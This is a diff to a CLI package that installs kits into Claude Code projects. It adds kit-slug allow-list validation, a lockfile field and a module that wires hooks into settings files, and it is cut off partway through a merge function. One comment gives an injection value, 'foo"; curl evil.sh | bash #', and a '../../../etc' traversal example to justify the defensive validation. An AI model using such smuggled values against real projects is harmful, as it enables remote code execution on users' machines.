I,CAAC,MAAM,UAAU,GAAG,CAAC,SAAS,eAAe,CAC5F,CAAC;AACJ,CAAC"}
package/dist/lib/lock.js CHANGED
@@ -23,6 +23,7 @@ export function readLock(dir) {
23
23
  installedAt: raw.installedAt ?? "",
24
24
  artifacts: raw.artifacts ?? {},
25
25
  shell: raw.shell ?? "",
26
+ settingsHooks: Array.isArray(raw.settingsHooks) ? raw.settingsHooks : [],
26
27
  };
27
28
  }
28
29
  catch {
@@ -38,6 +39,7 @@ export function writeLock(dir, lock) {
38
39
  // Sorted so a re-install produces a byte-identical file and PR diffs stay readable.
39
40
  artifacts: Object.fromEntries(Object.entries(lock.artifacts).sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0))),
40
41
  shell: lock.shell,
42
+ settingsHooks: [...lock.settingsHooks].sort(),
41
43
  };
42
44
  fs.writeFileSync(lockPath(dir), `${JSON.stringify(ordered, null, 2)}\n`);
43
45
  }
@@ -49,6 +51,8 @@ export function lockMatches(lock, next) {
49
51
  lock.kit === next.kit &&
50
52
  lock.version === next.version &&
51
53
  lock.shell === next.shell &&
54
+ JSON.stringify([...lock.settingsHooks].sort()) ===
55
+ JSON.stringify([...next.settingsHooks].sort()) &&
52
56
  JSON.stringify(Object.entries(lock.artifacts).sort()) ===
53
57
  JSON.stringify(Object.entries(next.artifacts).sort()));
54
58
  }
@@ -1 +1 @@
1
- {"version":3,"file":"lock.js","sourceRoot":"","sources":["../../src/lib/lock.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"lock.js","sourceRoot":"","sources":["../../src/lib/lock.ts"],"names":[],"mappings":"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"}
package/dist/lib/paths.js CHANGED
@@ -24,6 +24,32 @@ export function configFile() {
24
24
  export function lockPath(dir) {
25
25
  return path.join(dir, LOCK_NAME);
26
26
  }
27
+ /**
28
+ * A kit slug is used two ways that both make an unchecked value dangerous:
29
+ * it becomes a path segment (`destPathFor`) and it is interpolated into hook
30
+ * `command` strings that Claude Code runs without asking (`pluginRootToken`).
31
+ *
32
+ * The command case is the sharp one. `bash "…/plugins/<kit>/hooks/x.sh"` with
33
+ * `kit = 'foo"; curl evil.sh | bash #'` breaks out of the quotes, and the result
34
+ * is written into `.claude/settings.json` — a file the README tells people to
35
+ * commit. Every teammate then runs it on their next `git pull` plus first hook
36
+ * event. The slug is not purely user-supplied either: `update` takes it from
37
+ * `.morkit-lock.json`, so a poisoned lockfile in a merged PR is enough.
38
+ *
39
+ * Allow-list, not escaping: the set of legitimate slugs is tiny and known, and
40
+ * an allow-list cannot be defeated by a quoting form nobody thought of. Leading
41
+ * character is restricted too, so `-x` cannot read as a flag and `.`/`..` cannot
42
+ * become a path traversal.
43
+ */
44
+ const KIT_SLUG = /^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;
45
+ export function assertKitSlug(kit) {
46
+ if (typeof kit !== "string" || !KIT_SLUG.test(kit)) {
47
+ throw new Error(`Invalid kit name ${JSON.stringify(kit)}. ` +
48
+ "Allowed: letters, digits, '-' and '_', starting with a letter or digit, " +
49
+ "at most 64 characters.");
50
+ }
51
+ return kit;
52
+ }
27
53
  /** True for kit paths that Claude Code loads directly (skills/, commands/, agents/). */
28
54
  export function isArtifactPath(rel) {
29
55
  const top = rel.split("/")[0];
@@ -39,6 +65,22 @@ export function isArtifactPath(rel) {
39
65
  * and is kept together under one plugin directory so it stays removable.
40
66
  */
41
67
  export function destPathFor(dir, kit, rel) {
68
+ // Third and last sink for `kit`, and the one with the widest blast radius:
69
+ // `applyPlan` writes to whatever comes back. Unvalidated,
70
+ // destPathFor('/proj', '../../../etc', 'hooks/hooks.json') resolves to
71
+ // /etc/hooks/hooks.json — outside the project entirely.
72
+ //
73
+ // Not reachable through `installKit`, which validates first. Validated anyway,
74
+ // for the reason the other two sinks are: this function is exported and called
75
+ // directly (tests already do), so "some caller checked" is not a property this
76
+ // module can rely on. Two rounds of review found me fixing this class of bug
77
+ // one sink at a time; this is the last one.
78
+ // Validate BEFORE branching, not inside the branch that happens to use `kit`.
79
+ // A caller passing a malicious slug is broken regardless of which branch this
80
+ // particular `rel` takes, and validating per-branch means the same bad slug
81
+ // throws for one file and passes for the next — the kind of inconsistency that
82
+ // makes a guard look unreliable and get removed.
83
+ assertKitSlug(kit);
42
84
  return isArtifactPath(rel)
43
85
  ? path.join(dir, ".claude", rel)
44
86
  : path.join(dir, ".claude", "plugins", kit, rel);
@@ -1 +1 @@
1
- {"version":3,"file":"paths.js","sourceRoot":"","sources":["../../src/lib/paths.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B;;;;;;;;;GASG;AAEH,MAAM,CAAC,MAAM,SAAS,GAAG,mBAAmB,CAAC;AAE7C,sFAAsF;AACtF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,CAAU,CAAC;AAExE,oFAAoF;AACpF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAU,CAAC;AAEnF,MAAM,UAAU,SAAS;IACvB,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,UAAU,UAAU;IACxB,OAAO,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,EAAE,aAAa,CAAC,CAAC;AAC/C,CAAC;AAED,MAAM,UAAU,QAAQ,CAAC,GAAW;IAClC,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;AACnC,CAAC;AAED,wFAAwF;AACxF,MAAM,UAAU,cAAc,CAAC,GAAW;IACxC,MAAM,GAAG,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IAC9B,OAAQ,cAAoC,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;AAC7D,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,GAAW,EAAE,GAAW,EAAE,GAAW;IAC/D,OAAO,cAAc,CAAC,GAAG,CAAC;QACxB,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,GAAG,CAAC;QAChC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;AACrD,CAAC"}
1
+ {"version":3,"file":"paths.js","sourceRoot":"","sources":["../../src/lib/paths.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B;;;;;;;;;GASG;AAEH,MAAM,CAAC,MAAM,SAAS,GAAG,mBAAmB,CAAC;AAE7C,sFAAsF;AACtF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,CAAU,CAAC;AAExE,oFAAoF;AACpF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAU,CAAC;AAEnF,MAAM,UAAU,SAAS;IACvB,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,UAAU,UAAU;IACxB,OAAO,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,EAAE,aAAa,CAAC,CAAC;AAC/C,CAAC;AAED,MAAM,UAAU,QAAQ,CAAC,GAAW;IAClC,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;AACnC,CAAC;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,QAAQ,GAAG,kCAAkC,CAAC;AAEpD,MAAM,UAAU,aAAa,CAAC,GAAY;IACxC,IAAI,OAAO,GAAG,KAAK,QAAQ,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QACnD,MAAM,IAAI,KAAK,CACb,oBAAoB,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,IAAI;YACzC,0EAA0E;YAC1E,wBAAwB,CAC3B,CAAC;IACJ,CAAC;IACD,OAAO,GAAG,CAAC;AACb,CAAC;AAED,wFAAwF;AACxF,MAAM,UAAU,cAAc,CAAC,GAAW;IACxC,MAAM,GAAG,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IAC9B,OAAQ,cAAoC,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;AAC7D,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,GAAW,EAAE,GAAW,EAAE,GAAW;IAC/D,2EAA2E;IAC3E,0DAA0D;IAC1D,uEAAuE;IACvE,wDAAwD;IACxD,EAAE;IACF,+EAA+E;IAC/E,+EAA+E;IAC/E,+EAA+E;IAC/E,6EAA6E;IAC7E,4CAA4C;IAC5C,8EAA8E;IAC9E,8EAA8E;IAC9E,4EAA4E;IAC5E,+EAA+E;IAC/E,iDAAiD;IACjD,aAAa,CAAC,GAAG,CAAC,CAAC;IACnB,OAAO,cAAc,CAAC,GAAG,CAAC;QACxB,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,GAAG,CAAC;QAChC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;AACrD,CAAC"}
@@ -0,0 +1,456 @@
1
+ import fs from "node:fs";
2
+ import path from "node:path";
3
+ import { assertKitSlug } from "./paths.js";
4
+ /**
5
+ * Wiring the kit's hooks into the project's Claude Code settings.
6
+ *
7
+ * A kit installed by this CLI is NOT a Claude Code plugin: nothing tells Claude
8
+ * Code that `.claude/plugins/<kit>/` exists. Measured 2026-09-04 — same bytes on
9
+ * disk, two outcomes:
10
+ *
11
+ * .claude/plugins/morkit/hooks/hooks.json alone → 0 of 3 hooks fired
12
+ * the same directory passed via --plugin-dir → 3 of 3 fired
13
+ *
14
+ * A directory marketplace plus `enabledPlugins` fired nothing either, at project
15
+ * scope or via --settings: declaring a marketplace makes a plugin available, it
16
+ * does not install one. So the only wiring that works without a per-session CLI
17
+ * flag is `hooks` in a settings file — which is what this module writes.
18
+ *
19
+ * Two halves land in two different files, and the split is forced by measurement:
20
+ *
21
+ * hook commands → .claude/settings.json `${CLAUDE_PROJECT_DIR}/…`
22
+ * Commands DO expand that variable (measured: the hook ran and received the
23
+ * resolved path). Machine-independent, so it is safe to commit — which
24
+ * matters, because the whole team should get the same hooks.
25
+ *
26
+ * MORKIT_PLUGIN_ROOT → .claude/settings.local.json absolute path
27
+ * `env` values do NOT expand variables (measured: a literal value arrived
28
+ * intact while `${CLAUDE_PROJECT_DIR}/…` arrived verbatim, unexpanded, with
29
+ * the literal acting as the positive control). An absolute path is therefore
30
+ * unavoidable — and an absolute path must not be committed, so it goes in the
31
+ * local file instead.
32
+ */
33
+ /**
34
+ * Where the kit lives, written so Claude Code expands it per project.
35
+ *
36
+ * Validates here as well as at the CLI boundary, deliberately. This is the exact
37
+ * point where an unchecked slug turns into a shell command Claude Code will run
38
+ * unattended, so it must not depend on a caller elsewhere having checked first.
39
+ */
40
+ export function pluginRootToken(kit) {
41
+ return `\${CLAUDE_PROJECT_DIR}/.claude/plugins/${assertKitSlug(kit)}`;
42
+ }
43
+ /**
44
+ * Absolute on-disk location of the installed kit.
45
+ *
46
+ * Validates for the same reason `pluginRootToken` does, and being the *other*
47
+ * sink for `kit` is exactly why it must: this value is written to
48
+ * `settings.local.json` as `MORKIT_PLUGIN_ROOT`, and `kit = '..'` would walk the
49
+ * path out of the project. Not reachable today because `installKit` validates
50
+ * first — but "validate at the point of use, don't trust the caller" is the rule
51
+ * this file states, and applying it to one of two sinks is how the other one
52
+ * gets forgotten.
53
+ */
54
+ export function pluginRootPath(dir, kit) {
55
+ return path.join(path.resolve(dir), ".claude", "plugins", assertKitSlug(kit));
56
+ }
57
+ /**
58
+ * The placeholders the kit's own hooks.json uses for "where am I installed".
59
+ * Listed literally rather than matched by regex because the first one nests a
60
+ * second `${…}` inside itself, which no flat `\$\{[^}]*\}` pattern captures.
61
+ */
62
+ const PLUGIN_ROOT_FORMS = [
63
+ "${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}",
64
+ "${MORKIT_PLUGIN_ROOT:-$CLAUDE_PLUGIN_ROOT}",
65
+ "${CLAUDE_PLUGIN_ROOT}",
66
+ "$CLAUDE_PLUGIN_ROOT",
67
+ "${MORKIT_PLUGIN_ROOT}",
68
+ ];
69
+ /**
70
+ * Characters that continue an identifier or a kit slug.
71
+ *
72
+ * Both matchers below used bare substring tests, and both were wrong in the same
73
+ * way — measured:
74
+ *
75
+ * `$CLAUDE_PLUGIN_ROOT_BACKUP` became `…/plugins/morkit_BACKUP`
76
+ * `…/plugins/morkit-2/…` read as "inside kit morkit"
77
+ *
78
+ * The first is the sharp one: a wrong path silently embedded in a command Claude
79
+ * Code runs unattended, with no skip and no warning. `-` belongs in this class
80
+ * as well as `_` and alphanumerics, because a kit slug may contain it, so
81
+ * `morkit` must not match the start of `morkit-2`.
82
+ */
83
+ const IDENT_CHAR = /[A-Za-z0-9_-]/;
84
+ /** True when `root` occurs in `command` as a whole path segment, not a prefix. */
85
+ function pointsInsideKit(command, root) {
86
+ let from = 0;
87
+ for (;;) {
88
+ const at = command.indexOf(root, from);
89
+ if (at === -1)
90
+ return false;
91
+ const next = command[at + root.length];
92
+ if (next === undefined || !IDENT_CHAR.test(next))
93
+ return true;
94
+ from = at + 1;
95
+ }
96
+ }
97
+ function substitute(command, kit) {
98
+ const root = pluginRootToken(kit);
99
+ let out = command;
100
+ for (const form of PLUGIN_ROOT_FORMS) {
101
+ if (form.endsWith("}")) {
102
+ // `${…}` is self-delimiting, so a literal replace is exact.
103
+ out = out.split(form).join(root);
104
+ continue;
105
+ }
106
+ // A bare `$NAME` needs an identifier boundary, or `$CLAUDE_PLUGIN_ROOT` also
107
+ // eats the head of `$CLAUDE_PLUGIN_ROOT_BACKUP` and leaves a corrupted path.
108
+ out = out.replace(new RegExp(`${form.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}(?![A-Za-z0-9_-])`, "g"), () => root);
109
+ }
110
+ return out;
111
+ }
112
+ /**
113
+ * Plugin-root placeholders still left in a command after substitution.
114
+ *
115
+ * Deliberately narrow. An earlier version treated EVERY `$VAR` other than
116
+ * `CLAUDE_PROJECT_DIR` as unresolved, which also condemned ordinary shell
117
+ * variables — `$HOME`, `$PATH`, anything bash resolves for itself at run time.
118
+ * A future kit hook using one of those would have been dropped silently-ish,
119
+ * for no reason.
120
+ *
121
+ * Only these names matter here: they are the "where am I installed" family, the
122
+ * ones nothing sets when there is no plugin runtime. Everything else is the hook
123
+ * author's business, not ours.
124
+ */
125
+ const ROOT_VAR_NAMES = ["CLAUDE_PLUGIN_ROOT", "MORKIT_PLUGIN_ROOT", "MORKIT_REPO_ROOT"];
126
+ function unresolvedRefs(command) {
127
+ const found = command.match(/\$\{?[A-Za-z_][A-Za-z0-9_]*/g) ?? [];
128
+ return [...new Set(found.map((r) => r.replace(/^\$\{?/, "")))].filter((name) => ROOT_VAR_NAMES.includes(name));
129
+ }
130
+ /**
131
+ * Turn the kit's `hooks/hooks.json` into entries safe to merge into a settings
132
+ * file, dropping anything this CLI has no business owning.
133
+ *
134
+ * A hook is wired only when its command points inside the installed kit.
135
+ *
136
+ * That rule is not cosmetic, and the case that proves it is worth spelling out
137
+ * so nobody "cleans it up" at the wrong end. The kit's hooks.json contains a
138
+ * `Stop` entry reading `${MORKIT_REPO_ROOT:-.}/.claude/helpers/hook-handler.cjs`.
139
+ * The kit does not ship that file, or the model-routing subsystem behind it —
140
+ * and it should not: `scope-guard.cjs` states the feature "must apply ONLY
141
+ * within the claude-plugins repo", gated on a `.model-routing.json` marker at
142
+ * the repo root.
143
+ *
144
+ * So the entry is **correct where it is**. It serves the clone-based Codex
145
+ * install, where the repo root really is present. Deleting it from the kit
146
+ * would break that path. Skipping it *here* — in the one install shape that has
147
+ * no repo root — is the right end to fix, and the reason gets printed rather
148
+ * than swallowed so the difference stays visible.
149
+ */
150
+ export function planHookWiring(raw, kit) {
151
+ let parsed;
152
+ try {
153
+ parsed = JSON.parse(raw.toString("utf8"));
154
+ }
155
+ catch (err) {
156
+ throw new Error(`hooks/hooks.json in kit '${kit}' is not valid JSON: ${err.message}`);
157
+ }
158
+ const root = pluginRootToken(kit);
159
+ const hooks = {};
160
+ const commands = [];
161
+ const skipped = [];
162
+ for (const [event, groups] of Object.entries(parsed.hooks ?? {})) {
163
+ if (!Array.isArray(groups))
164
+ continue;
165
+ const keptGroups = [];
166
+ for (const group of groups) {
167
+ // Tầng lồng thứ hai. `groups` đã được kiểm ở trên; `group.hooks` thì chưa,
168
+ // và một số/object ở đó làm `for...of` ném `TypeError: 42 is not iterable`
169
+ // — thông báo vô nghĩa thay cho một lỗi nêu tên event. Lần thứ SÁU của
170
+ // cùng lỗi quét trong PR này: kiểm tầng đang sửa, bỏ tầng lồng bên trong.
171
+ if (group?.hooks !== undefined && !Array.isArray(group.hooks)) {
172
+ skipped.push({
173
+ event,
174
+ command: JSON.stringify(group.hooks),
175
+ reason: `"hooks" inside a ${event} group must be an array, found ${typeof group.hooks}`,
176
+ });
177
+ continue;
178
+ }
179
+ const keptHooks = [];
180
+ for (const entry of group?.hooks ?? []) {
181
+ const original = typeof entry?.command === "string" ? entry.command : "";
182
+ if (!original) {
183
+ // Reported, not dropped. The other two skip branches below both say
184
+ // why, because this module's own rule is that a skipped hook has a
185
+ // printed reason — and a malformed entry in the kit is exactly the
186
+ // case where silence costs most: the kit author sees a hook that
187
+ // simply never runs, with nothing anywhere saying so.
188
+ skipped.push({
189
+ event,
190
+ command: JSON.stringify(entry?.command ?? null),
191
+ reason: `"command" missing or not a string (found ${typeof entry?.command})`,
192
+ });
193
+ continue;
194
+ }
195
+ const command = substitute(original, kit);
196
+ if (!pointsInsideKit(command, root)) {
197
+ skipped.push({
198
+ event,
199
+ command: original,
200
+ reason: "does not point inside the installed kit",
201
+ });
202
+ continue;
203
+ }
204
+ const unresolved = unresolvedRefs(command);
205
+ if (unresolved.length > 0) {
206
+ skipped.push({
207
+ event,
208
+ command: original,
209
+ reason: `unresolved variable(s): ${unresolved.join(", ")}`,
210
+ });
211
+ continue;
212
+ }
213
+ keptHooks.push({ ...entry, command });
214
+ commands.push(command);
215
+ }
216
+ if (keptHooks.length > 0)
217
+ keptGroups.push({ ...group, hooks: keptHooks });
218
+ }
219
+ if (keptGroups.length > 0)
220
+ hooks[event] = keptGroups;
221
+ }
222
+ return { hooks, commands, skipped };
223
+ }
224
+ /**
225
+ * Merge our hook groups into an existing settings object.
226
+ *
227
+ * `owned` is the command list from the previous install (the lockfile). Entries
228
+ * matching it are replaced; everything else in the file is left exactly as it
229
+ * is. That is the whole point: a project's own hooks, and hooks another tool
230
+ * installed, must survive `morkit update`.
231
+ *
232
+ * Pure — takes and returns a plain object, touches no disk.
233
+ */
234
+ export function mergeHooks(settings, wiring, owned = []) {
235
+ const ownedSet = new Set(owned);
236
+ const currentRaw = settings.hooks ?? {};
237
+ // `readJsonFile` only guarantees the ROOT is an object; nothing checked the
238
+ // shape underneath. Same stance as `env` and as the root itself: refuse rather
239
+ // than clobber. Silently treating a malformed event as empty means the next
240
+ // write DELETES whatever was there — from a file that is committed and
241
+ // hand-editable — with no warning at all.
242
+ if (typeof currentRaw !== "object" || currentRaw === null || Array.isArray(currentRaw)) {
243
+ throw new Error(`"hooks" must be a JSON object, found ${typeof currentRaw}.`);
244
+ }
245
+ const current = currentRaw;
246
+ for (const [event, groups] of Object.entries(current)) {
247
+ if (!Array.isArray(groups)) {
248
+ throw new Error(`"hooks.${event}" must be a JSON array, found ${typeof groups}.`);
249
+ }
250
+ for (const group of groups) {
251
+ // Cùng lý do như tầng trên: đây là file ĐƯỢC COMMIT và sửa tay, nên một
252
+ // `hooks` sai kiểu ở tầng nhóm phải cho lỗi nêu được chỗ sai, không phải
253
+ // `.filter is not a function`.
254
+ if (group?.hooks !== undefined && !Array.isArray(group.hooks)) {
255
+ throw new Error(`"hooks.${event}[].hooks" must be a JSON array, found ${typeof group.hooks}.`);
256
+ }
257
+ }
258
+ }
259
+ const next = {};
260
+ const events = new Set([...Object.keys(current), ...Object.keys(wiring.hooks)]);
261
